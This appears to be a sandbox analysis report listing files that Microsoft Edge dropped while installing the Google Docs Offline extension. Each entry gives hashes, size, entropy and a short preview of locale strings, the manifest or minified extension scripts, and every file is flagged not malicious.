Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\e347263e-49d8-4b18-935f-4d7a8f090555.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir2460_325683062\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
